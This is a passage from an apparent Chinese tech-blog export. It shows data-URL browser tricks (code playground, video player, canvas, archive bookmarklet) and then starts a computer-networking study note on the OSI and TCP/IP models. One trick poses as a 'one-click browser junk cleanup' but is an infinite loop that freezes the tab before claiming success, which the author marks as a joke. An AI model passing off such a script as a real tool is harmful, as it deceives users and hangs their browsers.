class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;c\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eCSS\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;j\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eJavaScript\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;i\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eOutput\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;panels\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eHTML\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003eh\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eCSS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ec\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eJS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ej\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eiframe\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ei\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e评价:好活。\u003c/p\u003e\u003ch2 id=\"花活2:一键清理浏览器垃圾\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB2%EF%BC%9A%E4%B8%80%E9%94%AE%E6%B8%85%E7%90%86%E6%B5%8F%E8%A7%88%E5%99%A8%E5%9E%83%E5%9C%BE\" class=\"headerlink\" title=\"花活2:一键清理浏览器垃圾\"\u003e\u003c/a\u003e花活2:一键清理浏览器垃圾\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e并不(\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;charset=utf-8,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-javascript\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003erandom\u003c/span\u003e()*\u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003erandom\u003c/span\u003e()/\u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003erandom\u003c/span\u003e()}\u003cspan class=\"title function_\"\u003ealert\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;清理完成\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活3:视频播放器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB3%EF%BC%9A%E8%A7%86%E9%A2%91%E6%92%AD%E6%94%BE%E5%99%A8\" class=\"headerlink\" title=\"花活3:视频播放器\"\u003e\u003c/a\u003e花活3:视频播放器\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PCFET0NUWVBFIGh0bWw+DQo8aW5wdXQgdHlwZT0iZmlsZSIgaWQ9ImlucHV0IiBhY2NlcHQ9InZpZGVvLyoiPg0KPGJyPg0KPHZpZGVvIHNyYz0iIiBpZD0idmlkZW8iIGNvbnRyb2xzIGF1dG9wbGF5PjwvdmlkZW8+DQo8c2NyaXB0Pg0KICBpbnB1dC5vbmNoYW5nZSA9ICgpID0+IHsNCiAgICBjb25zdCBmaWxlID0gaW5wdXQuZmlsZXM/LlswXTsNCiAgICBpZiAoZmlsZSkgew0KICAgICAgdmlkZW8uc3JjID0gVVJMLmNyZWF0ZU9iamVjdFVSTChmaWxlKTsNCiAgICB9DQogIH07DQo8L3NjcmlwdD4=\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活4:画板\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB4%EF%BC%9A%E7%94%BB%E6%9D%BF\" class=\"headerlink\" title=\"花活4:画板\"\u003e\u003c/a\u003e花活4:画板\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PGNhbnZhcyBpZD12PjxzY3JpcHQ+ZD1kb2N1bWVudCxkLmJvZHkuc3R5bGUubWFyZ2luPTAsUD0ib25wb2ludGVyIixjPXYuZ2V0Q29udGV4dGAyZGAsdi53aWR0aD1pbm5lcldpZHRoLHYuaGVpZ2h0PWlubmVySGVpZ2h0LGMubGluZVdpZHRoPTIsZj0wLGRbUCsiZG93biJdPWU9PntmPWUucG9pbnRlcklkKzE7ZS5wcmV2ZW50RGVmYXVsdCgpO2MuYmVnaW5QYXRoKCk7Yy5tb3ZlVG8oZS54LGUueSl9O2RbUCsibW92ZSJdPWU9PntmPT1lLnBvaW50ZXJJZCsxJiZjLmxpbmVUbyhlLngsZS55KTtjLnN0cm9rZSgpfSxkW1ArInVwIl09Xz0+Zj0wPC9zY3JpcHQ+PC9jYW52YXM+\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活:一键存档网页\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB%EF%BC%9A%E4%B8%80%E9%94%AE%E5%AD%98%E6%A1%A3%E7%BD%91%E9%A1%B5\" class=\"headerlink\" title=\"花活:一键存档网页\"\u003e\u003c/a\u003e花活:一键存档网页\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ejavascript:location.href=\u0026#34;[https://web.archive.org/save/](https://web.archive.org/save/)\u0026#34;+location.href;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/"},{"title":"计网笔记:第一部分-概述","time":"2023-06-09T05:38:14Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-1-绪论\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#Chap-1-%E7%BB%AA%E8%AE%BA\" class=\"headerlink\" title=\"Chap.1.绪论\"\u003e\u003c/a\u003eChap.1.绪论\u003c/h2\u003e\u003ch3 id=\"数据通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E6%95%B0%E6%8D%AE%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"数据通信\"\u003e\u003c/a\u003e数据通信\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e数据\u003c/strong\u003e是任何格式表示的信息,\u003cstrong\u003e数据通信\u003c/strong\u003e是两台设备间通过介质进行数据交换。效率取决于:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e传递性\u003c/strong\u003e:目的地正确\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e准确性\u003c/strong\u003e:数据正确\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e及时性\u003c/strong\u003e:时延可接受\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e抖动性\u003c/strong\u003e:各部分到达时延不相同\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"组成\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BB%84%E6%88%90\" class=\"headerlink\" title=\"组成\"\u003e\u003c/a\u003e组成\u003c/h4\u003e\u003col\u003e\u003cli\u003e报文\u003c/li\u003e\u003cli\u003e发送方\u003c/li\u003e\u003cli\u003e接收方\u003c/li\u003e\u003cli\u003e传输介质\u003c/li\u003e\u003cli\u003e协议\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"信息表示\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E4%BF%A1%E6%81%AF%E8%A1%A8%E7%A4%BA\" class=\"headerlink\" title=\"信息表示\"\u003e\u003c/a\u003e信息表示\u003c/h4\u003e\u003cp\u003e二进制/文本编码\u003c/p\u003e\u003ch4 id=\"数据流\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E6%95%B0%E6%8D%AE%E6%B5%81\" class=\"headerlink\" title=\"数据流\"\u003e\u003c/a\u003e数据流\u003c/h4\u003e\u003col\u003e\u003cli\u003e单工:数据流向是单向的,比如键盘等输入设备就是单工连接\u003c/li\u003e\u003cli\u003e半双工:同时只能有一个方向的数据流动,无线电设备有的就是这样\u003c/li\u003e\u003cli\u003e全双工:双向车道,同时可以有两个方向的数据流过,比如网线等\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"网络\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C\" class=\"headerlink\" title=\"网络\"\u003e\u003c/a\u003e网络\u003c/h3\u003e\u003ch4 id=\"分布式处理\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%88%86%E5%B8%83%E5%BC%8F%E5%A4%84%E7%90%86\" class=\"headerlink\" title=\"分布式处理\"\u003e\u003c/a\u003e分布式处理\u003c/h4\u003e\u003ch4 id=\"网络准则\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E5%87%86%E5%88%99\" class=\"headerlink\" title=\"网络准则\"\u003e\u003c/a\u003e网络准则\u003c/h4\u003e\u003cul\u003e\u003cli\u003e性能\u003c/li\u003e\u003cli\u003e可靠性\u003c/li\u003e\u003cli\u003e安全性\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"物理结构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%89%A9%E7%90%86%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"物理结构\"\u003e\u003c/a\u003e物理结构\u003c/h4\u003e\u003cul\u003e\u003cli\u003e连接类型\u003cul\u003e\u003cli\u003e点到点\u003c/li\u003e\u003cli\u003e多点连接\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e物理拓扑结构\u003cul\u003e\u003cli\u003e网状:拥有最高的稳定性\u003c/li\u003e\u003cli\u003e星形\u003c/li\u003e\u003cli\u003e总线\u003c/li\u003e\u003cli\u003e环状\u003c/li\u003e\u003cli\u003e混合型\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"网络模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"网络模型\"\u003e\u003c/a\u003e网络模型\u003c/h4\u003e\u003cp\u003e当今为止最著名的就是\u003cstrong\u003eOSI模型\u003c/strong\u003e和\u003cstrong\u003e因特网模型\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"网络分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"网络分类\"\u003e\u003c/a\u003e网络分类\u003c/h4\u003e\u003cul\u003e\u003cli\u003e局域网-LAN\u003c/li\u003e\u003cli\u003e广域网-WAN\u003c/li\u003e\u003cli\u003e城域网-MAN\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"因特网\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%9B%A0%E7%89%B9%E7%BD%91\" class=\"headerlink\" title=\"因特网\"\u003e\u003c/a\u003e因特网\u003c/h3\u003e\u003cp\u003e历史之类的,太长不看。因特网前身是\u003cstrong\u003eARPANET\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"协议和标准\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%8D%8F%E8%AE%AE%E5%92%8C%E6%A0%87%E5%87%86\" class=\"headerlink\" title=\"协议和标准\"\u003e\u003c/a\u003e协议和标准\u003c/h3\u003e\u003cp\u003e协议,就是规则。标准是协商达成一致的规则。\u003c/p\u003e\u003ch4 id=\"协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"协议\"\u003e\u003c/a\u003e协议\u003c/h4\u003e\u003cp\u003e它规定了通信的内容、通信的方式和通信的时间。它的核心要素是语法、语义和时序。\u003c/p\u003e\u003cul\u003e\u003cli\u003e语法:数据的结构或格式\u003c/li\u003e\u003cli\u003e语义:每一个片段或位的含义\u003c/li\u003e\u003cli\u003e时序:报文发送的时间和发送的速率\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"标准\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E6%A0%87%E5%87%86\" class=\"headerlink\" title=\"标准\"\u003e\u003c/a\u003e标准\u003c/h4\u003e\u003cp\u003e分为事实标准和法定标准。\u003c/p\u003e\u003ch2 id=\"Chap-2-网络模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#Chap-2-%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"Chap.2.网络模型\"\u003e\u003c/a\u003eChap.2.网络模型\u003c/h2\u003e\u003ch3 id=\"OSI模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#OSI%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"OSI模型\"\u003e\u003c/a\u003eOSI模型\u003c/h3\u003e\u003cp\u003e从上到下一共有7层\u003c/p\u003e\u003cul\u003e\u003cli\u003e应用层:使得用户(人或软件)可以访问网络,它负责向应用提供服务\u003cul\u003e\u003cli\u003e具体的服务有:\u003cstrong\u003e网络虚拟终端(ssh等),文件传输、访问和管理,邮件服务、目录服务\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e表示层:翻译、加密和压缩数据\u003c/li\u003e\u003cli\u003e会话层:对话控制(建立、管理和终止)和同步\u003c/li\u003e\u003cli\u003e传输层:一个报文从一个进程到另一个进程的传递\u003cul\u003e\u003cli\u003e端到端的可靠报文传递,以及差错控制\u003c/li\u003e\u003cli\u003e它负责\u003cstrong\u003e服务点寻址、分段和组装、连接控制、流量控制、差错控制\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e网络层:将各个分组从源地址传送到目的地址\u003cul\u003e\u003cli\u003eIP协议是不可靠的传输协议\u003c/li\u003e\u003cli\u003e它负责\u003cstrong\u003e逻辑寻址\u003c/strong\u003e和\u003cstrong\u003e路由选择\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据链路层:帧从一跳到下一跳(在节点间)的传递\u003cul\u003e\u003cli\u003e它有\u003cstrong\u003e差错控制\u003c/strong\u003e,\u003cstrong\u003e流量控制\u003c/strong\u003e和\u003cstrong\u003e访问控制\u003c/strong\u003e,也负责位流的\u003cstrong\u003e成帧\u003c/strong\u003e,同时也负责\u003cstrong\u003e物理寻址\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e物理层:位从一个节点到另一个节点的传递\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003eOSI中,只有\u003cstrong\u003e数据链路层和传输层提供流量控制和差错控制\u003c/strong\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"TCP-x2F-IP协议族\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#TCP-x2F-IP%E5%8D%8F%E8%AE%AE%E6%97%8F\" class=\"headerlink\" title=\"TCP/IP协议族\"\u003e\u003c/a\u003eTCP/IP协议族\u003c/h3\u003e\u003cp\u003e分为5层,可以是看作简化了OSI的应用层的协议。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609171458.png\"/\u003e\u003c/p\u003e\u003cp\u003e结构和使用的协议如上图所示。\u003c/p\u003e\u003ch4 id=\"网络层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E5%B1%82\" class=\"headerlink\" title=\"网络层\"\u003e\u003c/a\u003e网络层\u003c/h4\u003e\u003cp\u003e它使用网际协议\u003cstrong\u003eInternet 